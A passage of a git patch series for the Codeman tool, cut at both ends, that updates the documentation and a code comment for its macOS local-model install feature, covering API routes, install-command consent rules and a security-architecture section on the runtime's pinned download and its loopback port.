only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaves a record the state file does not know; a record under the reserved id that says exactly what ours would say is ours (`isSameLocalEndpoint()`). ⚠️ A job whose end could not be written (a full disk) is kept in memory (`unrecorded`): the view shows it, the next verb writes it, and `installing` in the file while this process runs no job always reads as `paused` or that failure, never as a running job. ⚠️ The runtime's pid is stored the moment it is spawned, and Stop, Remove and the boot of anything that is not a running installation end a runtime an earlier server left behind (`supervisor.stop({ previousPid })`, ours by its command line) before any file is deleted; an installed model keeps the runtime VERSION it was installed with while that folder is unpacked, and a start that fails shows as `runtime-start-failed` with Start as the next step. Stop and "Use another port" answer 409 `sessions-open` while a live session uses the model. ⚠️ Remove (409 `sessions-open` with the names while a live session uses the endpoint) undoes the connection FIRST, restores the flag only when this feature switched it on AND no other endpoint is saved, deletes only inside `local-model/` (the models only when asked), and leaves the coding agent. ⚠️ Developer tools: only `/usr/bin/xcode-select -p`, bounded; never `git`/`python3`/`xcrun` from the server (each opens a system window on such a Mac). Tests: `test/local-model-install-job.test.ts` (every state with every event), `-install-service`, `-install-e2e` (real modules over `test/fixtures/fake-ollama.ts`), `-state-store`, `-connect`, `test/cli-install-runner.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`. → [architecture-invariants#local-model-install](docs/architecture-invariants.md#local-model-install), `docs/local-models.md`, `docs/api-reference.md` (Local model) **MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md` diff --git a/docs/api-reference.md b/docs/api-reference.md index e2d759a5..0e0a53dd 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -1689,8 +1689,8 @@ Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before a | `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated, install }`. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. | | `POST` | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }` | Starts the one install job and answers at once; the job runs on in the server. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed`, `size-changed`. | | `POST` | `/api/local-model/cancel` | none | Interrupts the step in flight; the job is `paused` at that step. `409 wrong-state` when no job is running. | -| `POST` | `/api/local-model/resume` | `{ newPort? }` (may be absent) | Continues a `paused` or `failed` job at the same step. `newPort: true` chooses another port first. `409`: `job-running`, `wrong-state`. | -| `POST` | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }` | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed). | +| `POST` | `/api/local-model/resume` | `{ newPort? }` (may be absent) | Continues a `paused` or `failed` job at the same step. `newPort: true` chooses another port first. `409`: `job-running`, `wrong-state`, `sessions-open` (`newPort` while live sessions use the model). | +| `POST` | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }` | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed), `sessions-open` (`stop` or `newPort` while live sessions use the model: their agents keep calling the address they were started with). | | `DELETE` | `/api/local-model` | `{ removeModel? }` (may be absent) | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the model only with `removeModel: true`. `409`: `job-running`, `sessions-open`. | Every verb answers `{ success: true, data: <install> }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict: @@ -1711,7 +1711,7 @@ Every verb answers `{ success: true, data: <install> }` with the `install` objec `data.reason` is `job-running`, `already-installed` (remove the installed model first), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model) or `wrong-state`. A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix. -`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. +`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. Every `400` the install names, and the `507 OPERATION_FAILED` of a first install on a full disk, carries its sentence as `data.message` (`{ text, vars }`, like a `409`), so a client can print it in its own language. **Consent is bound to the size shown.** `acknowledgedBytes` must be the `installBytes` of the chosen row: the model download plus the runtime download while the runtime is not unpacked yet. The server compares it with its own total before anything starts and answers `409 size-changed` when they differ, so a click confirms exactly the size the person saw. diff --git a/docs/cli-registry.md b/docs/cli-registry.md index 47fef4ec..c6911114 100644 --- a/docs/cli-registry.md +++ b/docs/cli-registry.md @@ -25,7 +25,7 @@ Every run mode Codeman can launch — Claude Code, Terminal/Shell, OpenCode, Cod App Settings → Agents & CLIs → **CLI management** (`cliManagementEnabled`, default OFF; admin-only in multi-user mode) lists every entry with an installed/not-installed badge and: - toggles any entry on or off. A `kind: 'shell'` entry cannot be disabled, and the row shows no switch for it. A disabled CLI disappears from the Run menu, the welcome screen and the phone overview, and new session requests for it are rejected. -- installs a missing **stock** CLI by running its shipped install command, after a confirm that names the exact command. Only one install per CLI runs at a time, and the command runs without any `CODEMAN_*` variable in its environment. An `npm install -g` command is pointed at `~/.local` (which every resolver searches) when the npm global prefix is not writable by the server user, for example a system node under `/usr`; a writable prefix, a prefix that does not exist yet but could be created, and an explicit `NPM_CONFIG_PREFIX` are left alone. A custom entry's install command is never executed. +- installs a missing **stock** CLI by running its shipped install command (the entry as merged with `clis.json`, so an override of a stock entry's install command is what runs here), after a confirm that names the exact command. Only one install per CLI runs at a time, and the command runs without any `CODEMAN_*` variable in its environment. An `npm install -g` command is pointed at `~/.local` (which every resolver searches) when the npm global prefix is not writable by the server user, for example a system node under `/usr`; a writable prefix, a prefix that does not exist yet but could be created, and an explicit `NPM_CONFIG_PREFIX` are left alone. A custom entry's install command is never executed. - adds, edits and deletes **custom** entries (id, label, badge, binaries, launch argv). The server re-validates the whole assembled entry through `CliEntrySchema`, so the form cannot bypass the load-time rules. These are the only writes to `clis.json`. They are serialized, and a file that does not parse or has unsafe permissions is refused rather than overwritten; fix it (or `chmod 600` it) and retry. The HTTP routes are listed in `docs/api-reference.md` under *CLI management*. @@ -332,7 +332,7 @@ already have. Three rules, and the middle one is why the embed matters: -1. **The server never executes an entry's `install.command`.** Unchanged, and still enforced by nothing executing it: the field is display text (`CliDiscovery.install.command`). +1. **The server executes an entry's `install.command` in exactly two places, both behind a consent click that shows the literal text.** CLI management (above, `cliManagementEnabled`, the merged entry's command) and the local model install (`docs/local-models.md`: only the COMPILED stock command of a catalogue harness row, through `stockInstallCommand()`, so no `clis.json` override reaches it; no setting gates that path, the consent screen does). Both run through the one runner in `src/cli-install-runner.ts` (one install per CLI at a time, no `CODEMAN_*` in the environment, the whole process group killed on a timeout or a cancel) and both are written to the admin audit log in multi-user mode. Everywhere else the field is display text (`CliDiscovery.install.command`). 2. **`install.sh` executes only commands embedded in itself.** Those arrive in the same file, over the same TLS fetch, in the same commit as the `curl \| bash` line that fetched the script — identical trust to the hardcoded vendor one-liners it replaces. 3. **Nothing fetched at install time is ever executed.** There is no second code path that fetches anything after the script itself has been fetched. diff --git a/docs/local-models.md b/docs/local-models.md index b8c33d0b..86c9f98a 100644 --- a/docs/local-models.md +++ b/docs/local-models.md @@ -150,7 +150,7 @@ Switching the setting on also starts that five-minute sweep for every other save ## Starting a session "Start a session" starts the coding agent on the endpoint `local-ollama` through the -existing custom model launch. Before any session is started on that endpoint the server +existing custom model launch. Before a coding agent is STARTED on that endpoint the server checks, in this order: - the runtime child Codeman started is alive (whatever else answers on the port is not @@ -158,6 +158,13 @@ checks, in this order: - the digest the runtime reports for the installed model is the one stored at install time; - the model asked for is the one that was installed and checked. +That check runs wherever a new agent process comes to be on the endpoint: a session created +with the model, a model applied to a running session (which restarts its agent), the attach +that starts an agent in a session that has none or whose agent exited, and the rebuild of a +session after a reboot (that entry is skipped with "the local model is not ready" and stays +on offer). An agent that is already running when Codeman restarts is not started by +Codeman, so it is not asked: it keeps running on its port, see below. + A different digest refuses the launch: "The model on this Mac changed since it was installed. Remove it and install it again." The digest is also read again at boot and when the runtime is started. @@ -233,6 +240,11 @@ or `python3`. - **A Codeman restart stops the runtime.** A session that is mid-answer on the local model loses that answer. The runtime is started again with the server, and the first request loads the model again (seconds). +- **An open session keeps calling the runtime's port.** The coding agent was given the + address when it started. While the runtime is stopped, or for the seconds of a Codeman + restart, its requests go to a port nothing of ours holds, and any program on this Mac could + bind that port and answer them. That is why Stop and "Use another port" are refused while + a session uses the model: close those sessions first. - **The runtime does not enforce the context length.** A prompt longer than the context was accepted in testing. Do not rely on the runtime to stop one. - **The model stays in memory for ten minutes** after the last request, then the runtime diff --git a/docs/security-architecture.md b/docs/security-architecture.md index 8fb4a284..a3e42ea1 100644 --- a/docs/security-architecture.md +++ b/docs/security-architecture.md @@ -594,6 +594,15 @@ Opt-in and off by default: the server POSTs the Web Push events (permission prom - **Discord bridge** (`src/discord-bridge.ts`, [setup](discord-bridge.md)): the bot token lives in `~/.codeman/discord.json` (0600, tmp+rename) and is never returned by the Discord routes, logged or put in an error, and the attachment, folder and download routes refuse the file. A session whose folder is the home directory can still read it through its own file viewer, which serves that workspace without the blocklist. Inbound replies are typed into a session only from `allowedUserIds`, in the configured guild, inside a thread the bridge created; anything else is dropped unread. A reply becomes one printable line plus Enter, capped at 1000 characters and one per second per tab. Posts send `allowed_mentions` limited to the allowlisted ids, so agent output cannot ping a server. **Files:** an attachment is fetched only from Discord's own HTTPS hosts (no redirects followed), at most 5 per reply and 8 MB each, saved 0600 under `<tab folder>/.codeman-discord/` with the name reduced to `[A-Za-z0-9._-]`; a file a CLI sends must be a regular file whose real path (symlinks followed) lies inside its own tab's folder and is not on the attachment blocklist (`isBlockedAttachmentPath`, since a tab's folder can be the home directory), which stops a sensitive file being uploaded by mistake, and remote sessions send and receive none. A received file is untrusted content to whatever opens it. **What the checks do not stop:** the agent runs as the same OS user, so the path check prevents accidental uploads, not a determined agent that pastes a file's contents into the message. **What leaves the machine:** a permission or question alert sends the rendered screen (whatever the agent printed), and a finished turn or an error sends the CLI's whole last message, read from its transcript (up to 8 posts of 1,900 characters). `idle_prompt` is a warning, so with the default scope every Claude turn left unanswered for a minute is posted, and with **Which events** set to Everything every turn end is; treat the Discord server as holding that output. **Multi-user:** the bridge is one allowlist for the whole server, so an allowlisted Discord account can type into every user's sessions; only an admin can configure it. **Startup hint:** a fixed text (no user input) is added to Claude's system prompt; no other CLI is sent it. The bridge only dials out (REST and the gateway WebSocket), so it needs no inbound exposure. A Discord account on the allowlist can drive agents that run shell commands: it needs 2FA. - **It carries session data to a third party.** Titles and bodies include session names, tool names and error text, all agent- or user-controlled, so Discord gets `allowed_mentions: { parse: [] }` and Slack's `& < >` are escaped: agent output cannot ping a channel. In multi-user mode all three routes are admin-only and the channel is instance-wide: it receives every user's session events, the same reach an admin's own Web Push has, which means non-admins' session details leave the box at the admin's choice. +## 10d. The model on this Mac (local model install) + +Opt-in by a click, macOS only, admin-only in multi-user mode on every verb. The server downloads one pinned runtime build, runs it as its own child, pulls one model into it, installs the coding agent when it is missing, and saves one endpoint record. Source: `src/local-model/`, routes in `src/web/routes/local-model-routes.ts`. Guide: [`local-models.md`](local-models.md). + +- **Supply chain: a compiled pin.** The runtime's URL, size and sha256 are a constant in `src/local-model/runtime.ts` that no file, setting or request can change; the archive is hashed while it streams and compared BEFORE anything is unpacked, a mismatch deletes it, and only `/usr/bin/tar` unpacks it into a folder under the data dir. The model comes from the runtime's own registry under the name the catalogue pins; the digest the runtime reports after the pull is stored, and a model whose digest changed under that name is refused at the next start. +- **A loopback port without a login.** The runtime listens on `127.0.0.1:<port>` (chosen once from 11435) with no authentication, like every model server of its kind: any program of any account on the Mac, and any web page served from `localhost`, can use it and change its models. What limits that: the endpoint record lists ONE model and the discovery sweep leaves it alone, the digest is compared before an agent is started on it (every start path, see the guide), and a listener on the port that is not our own child (judged by the stored pid's command line, never by the port alone) is reported as `port-in-use` and never signalled. An open session keeps calling the port while the runtime is stopped, which is why Stop and a port change are refused while one uses the model. +- **A second install path for a coding agent, without `cliManagementEnabled`.** The job runs the COMPILED stock install command of a catalogue harness row (never a `clis.json` override, never a custom entry) through the same runner as CLI management, only after the consent screen showed the literal command, and writes the admin audit entry (`cli_install`, `via: 'local-model'`). The installer runs as the server's user with the same reach as every other spawn. +- **The runtime's own files stay inside `~/.codeman/local-model/`**: its private HOME (so no `~/.ollama` is created), its model store and its unpacked folder; its environment is an allowlist (no `CODEMAN_*`). Remove deletes only inside that folder, refuses a folder that is a symbolic link, and ends the runtime (ours by its command line) before any file goes. + --- ## 11. Quick reference diff --git a/src/cli-install-runner.ts b/src/cli-install-runner.ts index d74dd5a0..b58ba2a4 100644 --- a/src/cli-install-runner.ts +++ b/src/cli-install-runner.ts @@ -22,9 +22,16 @@ * CLI over the same prefix. * * Rules: - * - The command executed is only ever a STOCK entry's (`stockInstallCommand()` reads the - * compiled `STOCK_CLIS`, never the registry merged with `clis.json`, so an override file - * cannot change what runs). A custom entry's install text is never executed. + * - Which command runs is the CALLER's choice, and the two callers choose differently. The + * local model job passes `stockInstallCommand()`, which reads the compiled `STOCK_CLIS` + * and never the registry merged with `clis.json`, so an override file cannot change what + * that job runs. The CLI management route passes the merged entry's command + * (`resolveInstallCommandForPlatform(listClis()...)`), as it did before this module + * existed: a `clis.json` override of a stock entry's install command IS what that route + * runs (behind `cliManagementEnabled`, after a confirm that shows the exact text). A custom + * entry's install text is never executed by either. Switching the route to + * `stockInstallCommand()` would close that gap at the cost of a behaviour change the route + * tests pin; it is an owner decision, not made here. * - Who may call it is the caller's rule, not this module's: the route keeps its * `cliManagementEnabled` gate; the install job runs it only for a harness row of the local * model catalogue, after the person's consent click on a screen that showed the literal diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index eb55b626..f1b58419 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). -**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, a flat `--accent` fill on a `--control-border-hover` track (the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`) plus a quiet Remove. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`; the visual walk is a scratch Playwright script, not a test. +**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), a flat `--accent` fill on a `--text-muted` track (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`; the visual walk is a scratch Playwright script, not a test. **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) From 04f232f23909cc6126a151f193f7093ea5c0feff Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Sat, 7 Nov 2026 00:04:57 +0100 Subject: [PATCH 24/28] feat(local-model): the start screen's local model button in the size of the main one The owner asked for it much bigger and in the middle. The button keeps the chip's markup and takes the primary button's height, radius and weight, with an accent outline and its glyph 